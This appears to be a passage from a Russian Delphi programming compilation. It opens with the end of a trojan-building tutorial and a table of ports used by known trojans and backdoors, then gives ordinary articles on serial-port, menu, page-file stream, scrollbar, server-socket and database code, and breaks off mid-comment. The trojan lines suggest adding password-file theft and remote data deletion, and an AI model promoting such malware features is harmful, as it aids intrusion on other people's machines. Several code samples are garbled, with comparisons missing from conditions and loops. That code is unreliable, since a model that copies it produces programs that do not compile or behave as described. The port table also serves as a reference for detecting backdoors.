Да, кстати: хочу сказать тебе, что эта прога, ясный перец, не раскрывает перед тобой все потенциальные возможности нашего трояна. Его можно научить еще целой куче вещей - утягиванию рwl'ок, игре с подставкой под кофе, удалению данных с чужой машины. Но все это тебе придется делать самому, плотно порывшись в каком-нибудь толковом доке по Дельфям :).
На этом я закругляюсь. Удачи тебе.
Троянские порты.
Оформил: DeeCo
|
|
|
Номер порта.
|
Протокол.
|
Название трояна.
|
21 |
TCP.
|
Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash |
23 |
TCP.
|
Tiny Telnet Server |
25 |
TCP.
|
Antigen, Email Password Sender, Haebu Coceda, Shtrilitz Stealth, Terminator, WinPC, WinSpy, Kuang2 0.17A-0.30 |
31 |
TCP.
|
Hackers Paradise |
80 |
TCP.
|
Executor |
456.
|
TCP.
|
Hackers Paradise |
555 |
TCP.
|
Ini-Killer, Phase Zero, Stealth Spy |
666 |
TCP.
|
Satanz Backdoor |
1001 |
TCP.
|
Silencer, WebEx |
1011 |
TCP.
|
Doly Trojan |
1095, 1097, 1098, 1099 |
TCP.
|
Rat |
1170 |
TCP.
|
Psyber Stream Server, Voice |
1234 |
TCP.
|
Ultors Trojan |
1243, 6711, 6776 |
TCP.
|
Sub 7 |
1245 |
TCP.
|
VooDoo Doll |
1349 |
UDP.
|
Back Ofrice DLL |
1492 |
TCP.
|
FTP99CMP |
1600 |
TCP.
|
Shivka-Burka |
1807 |
TCP.
|
SpySender |
1981 |
TCP.
|
Shockrave |
1999 |
TCP.
|
BackDoor 1.00-1.03 |
2001 |
TCP.
|
Trojan Cow |
2023 |
TCP.
|
Ripper |
2115 |
TCP.
|
BUGS |
2140, 3150, 6670, 6771 |
TCP/UDP.
|
Deep Throat |
2140, 3150 |
TCP.
|
The Invasor |
2801 |
TCP.
|
Phineas Phucker |
3024, 5742 |
TCP.
|
WinCrash |
3129 |
TCP.
|
Masters Paradise |
3700, 9872, 9873, 9874, 9875, 10067, 10167 |
TCP.
|
al of Doom |
4092 |
TCP.
|
WinCrash |
4567 |
TCP.
|
File Nail 1 |
4590 |
TCP.
|
ICQTrojan |
5000 |
TCP.
|
Bubbel |
5000, 5001 |
TCP.
|
Sockets de Troie |
5321 |
TCP.
|
Firehotcker |
5400, 5401, 5402 |
TCP.
|
Blade Runner 0.80 Alpha |
5569 |
TCP.
|
Robo-Hack |
6969 |
TCP.
|
GateCrasher, Priority |
7000 |
TCP.
|
Remote Grab |
7300, 7301, 7306, 7307, 7308 |
TCP.
|
NetMonitor |
7789 |
TCP.
|
ICQ Killer |
9989 |
TCP.
|
iNi-Killer |
10607 |
TCP.
|
Coma 1.0.9 |
11000 |
TCP.
|
Senna Spy |
11223 |
TCP.
|
Progenic trojan |
12223 |
TCP.
|
Hack'99 KeyLogger |
12345, 12346 |
TCP.
|
NetBus 1.20-1.70, GabanBus |
12361 ,12362 |
TCP.
|
Whack-a-mole |
16969 |
TCP.
|
Priority |
20001 |
TCP.
|
Millennium |
20034 |
TCP.
|
NetBus 2.0 Beta-NetBus 2.01 |
21544 |
TCP.
|
GirlFriend 1.0 Beta-1.35 |
22222 |
TCP.
|
Prosiak |
23456 |
TCP.
|
Evil FTP, Ugly FTP |
26274, 47262 |
TCP.
|
Delta |
30100, 30101, 30102 |
TCP.
|
NetSphere 1.27a |
30100, 30101, 30102 , 30103, 30103, 30103 |
TCP/UDP.
|
NetSphere 1.31 |
31337 |
UDP.
|
BackOfrice 1.20 |
31338 |
UDP.
|
DeepBO |
31339 |
TCP.
|
NetSpy DK |
31666 |
UDP.
|
BOWhack |
31785, 31787, 31789, 31791, 31789, 31791 |
TCP/UDP.
|
Hack Attack |
33333 |
TCP.
|
Prosiak |
34324 |
TCP.
|
BigGluck, TN |
40412 |
TCP.
|
The Spy |
40421, 40422, 40423, 40426 |
TCP.
|
Masters Paradise |
50505 |
TCP.
|
Sockets de Troie |
50766 |
TCP.
|
Fore |
53001 |
TCP.
|
Remote Windows Shutdown |
54321 |
TCP.
|
SchoolBus .69-1.11 |
61466 |
TCP.
|
Telecommando |
65000 |
TCP.
|
Devil 1.3 |
69123 |
TCP.
|
ShitHeep |
3003 |
TCP.
|
Смерть Ламера |
|
|
Компонент для последовательного устройства (TRS232).
| Просыпается программист с большого бодуна, поворачивается, а рядом какая-то девушка лежит. - Оорs, обнаружено новое устройство... |
Компонент, который представлен здесь, выполняет функции синхронного чтения и записи в последовательный интерфейс RS232.
В цикле выполняется Application.ProcessMessages, чтобы все сообщения от основной программы обрабатывались.
Ниже приведён метод ReadString из компонента TRS323:
function TRS232.ReadString(var aResStr: string; aCount: word ): boolean;
var
nRead: dword;
Buffer: string;
Actual, Before: TDateTime;
TimeOutMin, TimeOutSec, lCount: word;
begin
Result := false;
if not Connected then
if not Connect then
raise Exception.CreateHelp('RS232.ReadString:' +
' Connect not possible !', 101);
aResStr := '';
TimeOutMin:=TimeOut div 60;
TimeOutSec:=TimeOut mod 60;
if (not Connected) or (aCount then
EXIT;
nRead := 0; lCount := 0;
Before := Time;
while lCount do
begin
Application.ProcessMessages;
SetLength(Buffer,1);
if ReadFile( FComPortHandle, PChar(Buffer)^, 1, nRead, nil) then
begin
if nRead > 0 then
begin
aResStr := aResStr + Buffer;
inc(lCount);
end;
Actual := Time;
if Actual-Before>EncodeTime(0, TimeOutMin, TimeOutSec, 0) then
raise Exception.CreateHelp('RS232.ReadString: TimeOut !', 103);
end
else
begin
raise Exception.CreateHelp('RS232.ReadString: Read not possible !', 104);
end;
end;
Result:=true;
end;
|
TRyMenu — собственная отрисовка меню.
Автор: Алексей Румянцев
Перестала мне тут на днях нравиться борландовская прорисовка меню... Вот вобщем-то и все что можно сказать о представленном Вашему вниманию классе TRyMenu.
Никаких дочерних классов, вешаемся на OnAdvancedDrawItem и далее чисто рисование по канве.
Ну а художественные фантазии они у каждого свои и чуть напрягшись на ней(на канве) можно и переливы и пейзаж нарисовать, но кто этим балуется наверняка уже свои классы имеет, а это так минимальный набор для прорисовки меню в новом стиле. Демо прилагается.
Написано на Delphi5. Тестировалось на Win98. WinXP.
В случае обнаружения ошибки или несовместимости с другими версиями
Delphi и Windows, просьба сообщить автору.
Ваши вопросы и замечания присылайте по адресу.
Скачать проект TRyMenu.zip (10K) 22.04.02.
TRySharedSream — класс упрощающий работу с файлом подкачки.
Автор: Алексей Румянцев Специально для Королевства Delphi TSharedStream (версия 1) Когда-то (кажется год назад) на страницах "королевства" я прочитал статью об использовании файла подкачки как о временном хранилище данных. ( Имеется ввиду статья Дмитрия Логинова Ядро системы и антиотладочные приемы.) После этой статьи я заинтересовался работой с Swар'ом. Некотое время в работе я пользовался чисто FilеМаррingFun'кциями, что оказалось нудно и трудоемко (не так чтобы очень, но согласитесь, что легче хранить всю информацию в одном месте[классе], чем иметь несколько переменных и помнить когда и как их надо использовать). Написал первую версию класса-обертки над FilеМаррingFun'кциями и все как-будто было нормально, но убивало одно НО - не было возможности изменять размер области["страницы"] под данные выделенной при ее создании, т.е. надо было заранее знать размер информации, которую вы собираетесь в нее записать. В TSharedStream я решил эту проблему, плохо или хорошо трудно сказать - по сравнению с невозможностью изменить размер - хорошо, а по качеству реализации - не очень. Подробнее ... TSharedSream (v.1) — класс упрощающий работу с файлом подкачки Прошло н-ное кол-во времени, появилось желание сделать работу класса правильней, действенней, качественней (нужного слова не подобрать). TRySharedStream (версия 2) TRySharedStream(версия 2) - полностью переписанная версия TSharedStream. Пользовательская сторона работы с классом осталась неизменной (единственное был переименован сам класс и его юнит), а внутреннее содержание притерпело изменения. Не бойтесь, работа файла подкачки не изменилась :o), а вот работа TSharedStream меня устраивать перестала - пересоздание бОльших по объему страниц и перемещение данных из одной в другую по несколько раз хоть и работает быстро, но выглядело по скобарски. Для решения этой проблемы рассматривались альтернативные варианты, которые особо не улудшали ситуацию, так например вариант с созданием одной, но большой страницы проблему лишь временно скрывало, но не решало ее.Результатом же раздумий стал многостраничный вариант, т.е. группа маленьких страниц, хранящих информацию, при необходимости добавляются новыми страницами в которые и дозаписываются данные, в результате.
а. страница в файле подкачки становится как бы резиновой. б. винт не занимается бессмысленной работой. в. место на диске (в Swар'е) расходуется экономично(экономично или нет будет зависеть уже только от вас - сколько вы туда запишите :o)) г. скорость (скорость вас должна порадовать и поэтому этот пункт можно назвать не "г" а "с" - от слова "свист", т.е. работать будет со свистом. Хотя и здесь есть двусмыслица: с одной стороны если программа работает со свистом, то это хорошо, а если винт работает с подозрительным свистом, то это плохо. :o)). Результатом так же стало разделением TSharedStream на два класса TRySharedMem и TRySharedStream.TRySharedMem -
сам по себе независимый класс, потомок TObject, не тянущий за собой Forms, TApplication, TComponent и т.п.; является чисто оберткой над FileMappingFunctions, но скрывающий все сложности обращения с ними; позволяет создавать объект файлового отображения (как страничного swap-файла, так и обычного файла); позволяет разделять одну область отображения между различными процессами(программами); имеет дополнительные функции Read/Write (аналогичные TStream.Read/TStream.Write). TRySharedStream - Потомок TStream, не тянущий за собой Forms, TApplication, TComponent и т.п. базируется на работе TRySharedMem, аналог временным файлам и постоянным страхам нехватки памяти - т.е. аналог TFileStream и TMemoryStream; расширяет возможности работы с файлом подкачки - размер записываемых данных ограничивается толь местом на диске. Единственное сейчас TRySharedStream не поддерживает разделения области отображения между различными процессами(программами) как в TRySharedMem, но в следующей версии, скорей всего, эта возможность будет доступна (мысль как это сделать уже есть). Лицензионное соглашение Лицензионное соглашение написано в каждом сооветствующем юните, здесь же написано некоторое пояснение : TRySharedMem и TRySharedStream - это, по большому счету, базируются на результате(ах) работы FileMappingFunctions, но немалое значение здесь имеет и человеческий фактор: как вы распорядитесь объектами отображения, какой файл вы отобразите и что, как и сколько вы туда запишите никто не может знать, а файловая область, как вы знаете, это не шутка. Поэтому программный код дается вам бесплатно, по принципу "as is". Автор и "Королевство Дельфи" снимают с себя всю ответственность за результаты работы классов. Весь риск по работе с этими классами ложится на вас и только вас. Если вы не согласны с лицензионным соглашением или с некоторыми пунктами - вы не должны использовать данный програмный код в ваших проектах.Класс TRySharedSream
unit RySharedStream;
interface
uses
SysUtils, Windows, Classes, RySharedMem;
{$IFDEF VER120}
{$DEFINE D5}
{$ENDIF}
{$IFDEF VER130}
{$DEFINE D5}
{$ENDIF}
{$IFDEF VER140}
{$DEFINE D6}
{$ENDIF}
type
{ TRyPageList }
TRyPageList = class(TList)
protected
function Get(Index: Integer): TRySharedMem;
procedure Put(Index: Integer; Item: TRySharedMem);
public
property Items[Index: Integer]: TRySharedMem read Get write Put; default;
end;
{ TRySharedStream }
TRySharedStream = class(TStream) { Для совместимости с TStream }
private
FSize: Longint; { Реальный размер записанных данных }
FPosition: Longint;
FPages: TRyPageList;
protected
function NewPage: TRySharedMem;
public
constructor Create;
destructor Destroy; override;
function Read(var Buffer; Count: Longint): Longint; override;
function Write(const Buffer; Count: Longint): Longint; override;
function Seek(Offset: Longint; Origin: Word): Longint; override;
procedure SetSize(NewSize: Longint); override;
procedure LoadFromStream(Stream: TStream);
procedure LoadFromFile(const FileName: string);
procedure SaveToStream(Stream: TStream);
procedure SaveToFile(const FileName: string);
public
end;
implementation
uses RyActiveX;
{resourcestring
CouldNotMapViewOfFile = 'Could not map view of file.';}
{ TRySharedStream }
{
* Класс TRySharedStream можно рассматривать как альтернативу
временным файлам (т.е. как замену TFileStream).
Преимущество :
а. Данные никто не сможет просмотреть.
б. Страницы, зарезервированные под данные, автомотически освобождаются
после уничтожения создавшего ее ТRуShаrеdStrеаm'а.
* Класс TRySharedStream можно рассматривать как альтернативу
TMemoryStream.
Преимущество :
а. Не надо опасаться нехватки памяти при большом объеме записываемых данных.
[случай когда физически нехватает места на диске здесь не рассматривается].
Известные проблемы:
На данный момент таких не выявлено.
Но есть одно НО. Я не знаю как поведет себя TRySharedStream
в результате нехватки места
а. на диске
б. в файле подкачки (т.е. в системе с ограниченным размером
файла подкачки).
}
const
PageSize = 1024000; { размер страницы }
constructor TRySharedStream.Create;
begin
FPosition := 0; { Позиция "курсора" }
FSize := 0; { Размер данных }
FPages := TRyPageList.Create;
FPages.Add(NewPage);
end;
destructor TRySharedStream.Destroy;
begin
with FPages do
while Count > 0 do
begin
Items[Count - 1].Free;
Delete(Count - 1);
end;
FPages.Free;
inherited;
end;
function TRySharedStream.NewPage: TRySharedMem;
begin
Result := TRySharedMem.Create(RyActiveX.GUIDToString(RyActiveX.GetGUID), 0,
PageSize)
{ |}
{Я знаю что можно не именовать страницу __|}
{но оказалось не всегда Win98 правильно создает новую}
{неименнованную страницу. а другого способа получения}
{уникальной строки я не знаю. }
{если у кого-то будут идеи по этому поводу - милости просим.}
end;
function TRySharedStream.Read(var Buffer; Count: Longint): Longint;
var
FPos, BPos, FPageNo: Integer;
ACount, FCount: Longint;
Buf: PChar;
begin
Buf := @Buffer;
ACount := 0;
if Count > 0 then
begin
FCount := FSize - FPosition; {максимальное кол-во, которое можно прочитать}
if FCount > 0 then
begin
if FCount > Count then
FCount := Count; {если нам нужно прочитать меньше чем можем}
ACount := FCount; {запоминаем сколько надо}
FPageNo := FPosition div PageSize; {т.к. у нас многостраничный stream, то
находим с какой страницы начать читать}
BPos := 0;
FPos := FPosition - (PageSize * FPageNo);
{с какой позиции на странице читаем}
while FCount > 0 do
begin
if FCount > (PageSize - FPos) then
Count := PageSize - FPos
else
Count := FCount; {определяем
сколько можно прочитать со страницы}
Move(PChar(FPages.Items[FPageNo].Memory)[FPos], Buf[BPos], Count);
{считаваем инфо. в буффер}
Inc(FPageNo); {переходим на следующую страницу}
Dec(FCount, Count);
Inc(BPos, Count);
FPos := 0;
end;
Inc(FPosition, ACount);
end
end;
Result := ACount;
end;
function TRySharedStream.Write(const Buffer; Count: Longint): Longint;
var
FPos, BPos, FPageNo: Integer;
ASize, ACount, FCount: Longint;
Buf: PChar;
begin { Функция аналогичная TStream.Write().
Все пояснения по работе с ней см. в help'e. }
Buf := @Buffer;
if Count > 0 then
begin
ASize := FPosition + Count; {определяем сколько места нужно для данных}
if FSize < ASize then
Size := ASize; {если больше чем было, то увеличиваем размер стрима}
FCount := Count; {запоминаем сколько надо записать}
FPageNo := FPosition div PageSize;
{определяем с какой страницы начинаем писать}
BPos := 0;
FPos := FPosition - (PageSize * FPageNo); {вычисляем позицию на странице}
while FCount > 0 do {пока все не напишем ни куда не уходим}
begin
if FCount > (PageSize - FPos) then
ACount := PageSize - FPos
else
ACount := FCount;
Move(Buf[BPos], PChar(FPages.Items[FPageNo].Memory)[FPos], ACount);
{пишем сколько влезает до конца страницы}
Inc(FPageNo); {переходим на следующую страницу}
Dec(FCount, ACount); {уменьшаем кол-во незаписанных на кол-во записанных}
Inc(BPos, ACount);
FPos := 0;
end;
FPosition := ASize;
end;
Result := Count;
end;
function TRySharedStream.Seek(Offset: Longint; Origin: Word): Longint;
begin { Функция аналогичная TStream.Seek().
Все пояснения по работе с ней см. в help'e. }
case Origin of
soFromBeginning: FPosition := Offset;
soFromCurrent: Inc(FPosition, Offset);
soFromEnd: FPosition := FSize - Offset;
end;
if FPosition > FSize then
FPosition := FSize
else if FPosition < 0 then
FPosition := 0;
Result := FPosition;
end;
procedure TRySharedStream.SetSize(NewSize: Longint);
var
Sz: Longint;
begin { Функция аналогичная TStream.SetSize().
Все пояснения по работе с ней см. в help'e. }
inherited SetSize(NewSize);
if NewSize > (PageSize * FPages.Count) then
{ Если размер необходимый для записи
данных больше размера выделенного под наш stream, то мы должны
увеличить размер stream'a}
begin { ...но FileMapping не поддерживает изменения размеров "страницы",
что не очень удобно, поэтому приходится выкручиваться. }
Sz := NewSize div (PageSize * FPages.Count);
{ думаем сколько нужно досоздать страниц под данные }
while Sz > 0 do {создаем страницы}
begin
FPages.Add(NewPage);
Dec(Sz);
end;
end;
FSize := NewSize; { Запоминаем размер данных }
if FPosition > FSize then
FPosition := FSize;
end;
procedure TRySharedStream.LoadFromFile(const FileName: string);
var
Stream: TFileStream;
begin
Stream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
try
LoadFromStream(Stream)
finally
Stream.Free
end
end;
procedure TRySharedStream.LoadFromStream(Stream: TStream);
begin
CopyFrom(Stream, 0);
end;
procedure TRySharedStream.SaveToFile(const FileName: string);
var
Stream: TFileStream;
begin
Stream := TFileStream.Create(FileName, fmCreate);
try
SaveToStream(Stream)
finally
Stream.Free
end
end;
procedure TRySharedStream.SaveToStream(Stream: TStream);
begin
Stream.CopyFrom(Self, 0);
end;
{ TRyPageList }
function TRyPageList.Get(Index: Integer): TRySharedMem;
begin
Result := TRySharedMem(inherited Get(Index))
end;
procedure TRyPageList.Put(Index: Integer; Item: TRySharedMem);
begin
inherited Put(Index, Item)
end;
end.
|
Прилагается демонстрационный пример использования TRySharedStream : TTySharedStream.zip (13 K).
Класс TRyTimer.
Описание: Обертка для стандартного Windоws'таймера. Аналог TTimer. Отличия от ТТimеr'а: не тянет за сабой TComponent, uses Forms, Application Написано на Delphi5. Тестировалось на Win98. WinXP. В случае обнаружения ошибки или несовместимости с другими версиями Delphi и Windows, просьба сообщить автору. Скачать Демо_Архив TRyTimer.zip (4 K) 22.04.02Как отловить сообщения о прокрутке TScrollBar.
Автор: Олег КулабуховНижеприведенный пример передвигает второй ScrollBar на такое же количество едениц, на которое передвинет пользователь первый. Т.е. синхронизирует их.
type
{$IFDEF WIN32}
WParameter = LongInt;
{$ELSE}
WParameter = Word;
{$ENDIF}
LParameter = LongInt;
{Declare a variable to hold the window procedure we are replacing}
var
OldWindowProc: Pointer;
function NewWindowProc(WindowHandle: hWnd;
TheMessage: WParameter;
ParamW: WParameter;
ParamL: LParameter): LongInt
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
var
TheRangeMin: integer;
TheRangeMax: integer;
TheRange: integer;
begin
if TheMessage = WM_VSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle,
SB_HORZ,
TheRangeMin,
TheRangeMax);
{Get the vertical scroll box position}
TheRange := GetScrollPos(WindowHandle,
SB_VERT);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then
TheRange := TheRangeMin
else if TheRange > TheRangeMax then
TheRange := TheRangeMax;
{Set the horizontal scroll bar}
SetScrollPos(WindowHandle,
SB_HORZ,
TheRange,
true);
end;
if TheMessage = WM_HSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle,
SB_VERT,
TheRangeMin,
TheRangeMax);
{Get the horizontal scroll box position}
TheRange := GetScrollPos(WindowHandle,
SB_HORZ);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then
TheRange := TheRangeMin
else if TheRange > TheRangeMax then
TheRange := TheRangeMax;
{Set the vertical scroll bar}
SetScrollPos(WindowHandle,
SB_VERT,
TheRange,
true);
end;
{ Call the old Window procedure to }
{ allow processing of the message. }
NewWindowProc := CallWindowProc(OldWindowProc,
WindowHandle,
TheMessage,
ParamW,
ParamL);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{ Set the new window procedure for the control }
{ and remember the old window procedure. }
OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,
GWL_WNDPROC,
LongInt(@NewWindowProc)));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
{ Set the window procedure back }
{ to the old window procedure. }
SetWindowLong(ScrollBox1.Handle,
GWL_WNDPROC,
LongInt(OldWindowProc));
end;
|
Как перехватить сообщения прокрутки в TScrollBox.
Следующий пример перхватывает сообщения скроллирования в компоненте TScrollBox, тем самым синхронизируя два скролбара. Если один из скролбаров изменяет своё положение, то значение второго скролбара изменяется на такую же величину. Сообщения скролирования перехватываются путём сабклассинга оконной процедуры (WinProc) у скролбара.
type
{$IFDEF WIN32}
WParameter = LongInt;
{$ELSE}
WParameter = Word;
{$ENDIF}
LParameter = LongInt;
{Declare a variable to hold the window procedure we are replacing}
var
OldWindowProc : Pointer;
function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter;
ParamW : WParameter; ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
var
TheRangeMin : integer;
TheRangeMax : integer;
TheRange : integer;
begin
if TheMessage = WM_VSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle, SB_HORZ, TheRangeMin, TheRangeMax);
{Get the vertical scroll box position}
TheRange := GetScrollPos(WindowHandle, SB_VERT);
{Make sure we wont exceed the range}
if TheRange then
TheRange := TheRangeMin
else
if TheRange > TheRangeMax then
TheRange := TheRangeMax;
{Set the horizontal scroll bar}
SetScrollPos(WindowHandle, SB_HORZ, TheRange, true);
end;
if TheMessage = WM_HSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle, SB_VERT, heRangeMin, TheRangeMax);
{Get the horizontal scroll box position}
TheRange := GetScrollPos(WindowHandle, SB_HORZ);
{Make sure we wont exceed the range}
if TheRange then
TheRange := TheRangeMin
else
if TheRange > TheRangeMax then
TheRange := TheRangeMax;
{Set the vertical scroll bar}
SetScrollPos(WindowHandle, SB_VERT, TheRange, true);
end;
{Call the old Window procedure to allow processing of the message.}
NewWindowProc := CallWindowProc(OldWindowProc, WindowHandle,
TheMessage, ParamW, ParamL);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{Set the new window procedure for the control and remember
the old window procedure.}
OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,
GWL_WNDPROC, LongInt(@NewWindowProc)));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
{Set the window procedure back to the old window procedure.}
SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(OldWindowProc));
end;
|
Использование компонента TServerSocket.
| Попал фидошник в ад. Ему черт говорит: - Тебе определено 1000 лет наказания, но т. к. я люблю анекдоты, то разрешаю их тебе рассказывать. Пока ты их рассказываешь, этот срок будет вычтен из твоего наказания. Ну, фидошник начинает травить анекдоты. Год... два... 100 лет... 900 лет прошло, он все рассказывает. Наконец, на 999 году замолкает. - Все, анекдоты закончились? Ну, давай хоть год тебя помучаю. - Да погоди ты, сейчас вторую часть офтопик-листа достану! |
В Delphi документации по многопотоковому TServerSocket налито довольно много воды, и начинающему программисту сложно понять суть дела. Давайте попытаемся пролить немного света на этот раздел хелпа.
Вообще-то, создать многопотоковый сервер, который ожидает пришедшие сообщения на сокете довольно просто. В Delphi для этой цели достаточно использовать компонент TServerSocket.
Давайте рассмотрим структуру работы данного компонента:
Добавляем TServerSocket в Вашу основную форму. Устанавливаем свойство Servertype в stThreadBlocking Создаём новый "unit" (показанный ниже) содержащий поток сервера.Устанавливаем следующий код на OnSocketGetThread.
procedure TfrmMain.fSocketGetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread); begin // Здесь создаём объект TServerThread, который я привожу ниже. // Новый объект создаётся каждый раз, когда когда установлен канал связи. SocketThread := TServerThread.Create( FALSE, ClientSocket ); end; |
TServerThread - это объект, который я создаю самостоятельно. Объект наследуется от TServerClientThread и содержит код, который обычно читает и пишет данные из/в сокет.
Созданный Unit, содержит следующий код:
unit serverthread;
interface
uses
windows, scktcomp, SysUtils, Classes, Forms;
type
EServerThread = class( Exception );
// serverthread это потомок TServerClientThread
TServerThread = class( TServerClientThread )
private
fSocketStream : TWinSocketStream;
public
procedure ClientExecute; override;
// ClientExecute отменяет
// TServerClientThread.ClientExecute
// и содержит код, который
// выполняется при старте потока
end;
implementation
procedure TServerThread.ClientExecute;
begin
inherited FreeOnTerminate := TRUE;
try
fSocketStream := TWinSocketStream.Create( ClientSocket, 100000 );
// 100000 - это таймаут в миллисекундах.
try
while ( not Terminated ) and ( ClientSocket.Connected ) do
try
// В это место обычно помещается код,
// ожидающий входных данных, читающий из сокета или пишущий в него
// Пример, приведённый ниже, показывает, что можно добавить в данную
// секцию программы.
except
on e:exception do
begin
// Если произошла ошибка, то закрываем сокет и выходим
ClientSocket.Close;
Terminate;
end;
end;
finally
fSocketStream.Free;
end;
except
on e:exception do
begin
// Если произошла ошибка, то закрываем сокет и выходим
ClientSocket.Close;
Terminate;
end;
end;
end;
|
Когда связь установлена, потоку необходимо ожидать входящих данных(запроса от клиента). Для этого можно использовать следующий код:
if (not Terminated) and (not fSocketStream.WaitForData(1000000)) then begin // Обработчик таймаута (т.е. если по истечении 1000000 миллисекунд // от клиента не пришло запроса end; // В сокете есть входящие данные! |
Для чтения данных, Вам понадобится создать буфер для хранения полученных данных. Обычно буфер - это PByteArray или массив символов. В этом примере я обозвал буфер как fRequest который является массивом символов. Кроме того я ожидаю фиксированное количество байт. Массив имеет постоянный размер REQUESTSIZE.
var
ac, readlen: integer;
begin
FillChar( fRequest, REQUESTSIZE, 0 );
ac := 0;
repeat
readlen := fSocketStream.read( fRequest[ac], 1024 );
// считываем блоки по 1024 байт, до тех пор, пока буфер
// не заполнится
ac := ac+readlen;
until
(readlen = 0) or (ac = REQUESTSIZE);
end;
|
Если readlen равно 0, значит больше нет входящих данных. Функция Чтения завершается через 100000 миллисекунд после запуска в TWinSocketStream.Create(). Если Вы не знаете сколько времени нужно ожидать запроса от клиента, то чем меньше будет таймаут, тем лучше. В большинстве случаев максимальный таймаут не должен превышать 30 секунд.
При посылке ответа, Вы должны знать, в каком режиме работает клиент. Многие клиенты ожидают только один пакет ответа, другие ожидают несколько пакетов. В этом примере, я подразумеваю клиента, который ожидает только один пакет, так что я должен послать мои данные назад в одном блоке:
fSocketStream.WriteBuffer(fRep, fReplySize); |
FRep это буфер, содержащий ответ на запрос клиента, и fReplySize - это размер буфера.
Информация о базах данных при помощи TSession.
Автор: Александр Баранецкий Часто приходиться решать те или иные задачи решение которых заложенны в информации о базе данных. Это состояние таблиц в базе, полей в таблице. Имена драйверов. Параметры алиасов, драйверов и.т.д, и.т.п. И тогда начинается самое интересное в деятельности программиста "как быть и что делать". В этой статье не будет описанно какими методоми получить данные из базы. Концепция этой статьи заложенна в описании "физических аспектов" баз. Ну как сказал мне начальник ЦИТа КОДТ господин Дукенбаев Саулебек - "Ты должень быть программистом, а не философом". Так что, ближе к сути.В Delphi для получения инфы о базе очень хорошо применять Tsession. можно применить компонент Session на закладке BDE. Но будем вызывать методы компонента так "вручную". хочу обратить ваше внимание на следующие "полезные" процедуры и функции.
// Собирает и заносит в "LIST" наши искомые базы. procedure TSession.GetDatabaseNames(List: TStrings); // Принимает на себя имя базы и заносит в "LIST" наши искомые Tables. procedure TSession.GetTableNames(const DatabaseName, Pattern: string; Extensions, SystemTables: Boolean; List: TStrings); // Принимает базу затем таблицу в ней и заносит в "LIST" наши искомые поля procedure TSession.GetFieldNames(const DatabaseName, TableName: string; List: TStrings); // Тоже полезная проца Заносит в лист АLIАS"ы procedure TSession.GetAliasNames(List: TStrings);Alias(для тех кто не знает) - это псевдоним базы. Т.е кней можно обратиться не по конкретному пути например "C:\data\Hello.db" а по псевдониму, например "Hello", в котором хранится имя базы. Например я знаю кто такая АЛСУ а до сих пор не знаю ее имя, Псевдоним!!!.
// Возвращает в List имена зарегестрированных драйверов. procedure TSession.GetDriverNames(List: TStrings); // Возвращает в лист все параметры указанного драйвера. procedure TSession.GetDriverParams(const DriverName: string; List: TStrings); // Возращает в лист"е параметры указанного алиаса procedure TSession.GetAliasParams(const AliasName: string; List: TStrings); // Возращает в строке имя драйвера которого использует алиас. function TSession.GetAliasDriverName(const AliasName: string): string;
Выше были описанны только самые основные методы Tsession, как правило наиболее часто используемые. Ну и чтобы не быть голословными небольшой примерчик "дерева" базы, почти как у Data Base Tree только еще и список полей фиксируется в дереве.
procedure Tdbview.Button4Click(Sender: TObject);
var
I, D, q: Integer;
S, Tables, Fields: TStringList;
Mt: TTreeNode;
begin
try
with Dt.Items do
begin
s := TStringList.Create;
Tables := TStringList.Create;
fields := TStringList.Create;
Session.GetDatabaseNames(s);
for i := 0 to S.Count - 1 do
begin
try
mt := Add(nil, S[i]);
Session.GetTableNames(S[i], '', true, true, Tables);
for D := 0 to Tables.Count - 1 do
begin
AddChild(MT, Tables[d]);
Session.GetFieldNames(S[i], Tables[d], Fields);
for q := 0 to Fields.Count - 1 do
AddChild(Mt[d], Fields[q]);
end;
except
Continue;
end;
end;
end;
finally
s.Free;
Tables.Free;
Fields.Free;
end;
end;
При написании этого алгоритма был "высвечен" баг который мне внезапно открыл "запоролированную базу" и что только люди не скрывают да баги подводят. О баге этом поговорим в другой раз.
Все примеры вызова процедур, а также пример "дерева" вы сможете найти на, хорошо закоментированном, приложенном демо пректе pr_data. Для любой Delphi(5-7).
P.S. если у когото есть в несколько раз лучшие методы прошу пришлите их мне на мыло.
TSortList - работа с отсортированным списком.
Автор: Юрий Иванов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> TSortList - работа с отсортированным списком
Класс для работы с отсортированным списком. Использует базовый класс TList.
Позволяет добавлять элементы в отсортированном порядке, производить
быстрый поиск элементов и очищать память указателей и память,
распределенную для элементов хранения.
Добавлены 1 свойство и 4 новых метода:
Свойство:
Compare - имя функции сравнения типа TListSortCompare.
Методы:
AddSort - позволяет добавлять элементы в список в отсортированном порядке.
Search - осуществляет быстрый поиск элемента в отсортированном списке (возвращает его номер или -1).
GetItem - возвращает указатель на найденный элемент, если элемент отсутствует, возвращается nil.
ClearAll - очищает память указателей и память, распределенную под хранение элементов Item.
Зависимости: Classes, SysUtils
Автор: Юрий, i7@mail.ru, Тверь
Copyright: Юрий Иванов (http://www.ivanovtver.chat.ru/sortlistr.zip)
Дата: 30 июля 2003 г.
***************************************************** }
{******************************************************************************
* SortList *
* -------- *
* Класс для работы с отсортированным списком. Использует базовый класс TList.*
* Позволяет добавлять элементы в отсортированном порядке и производить *
* быстрый поиск элементов. *
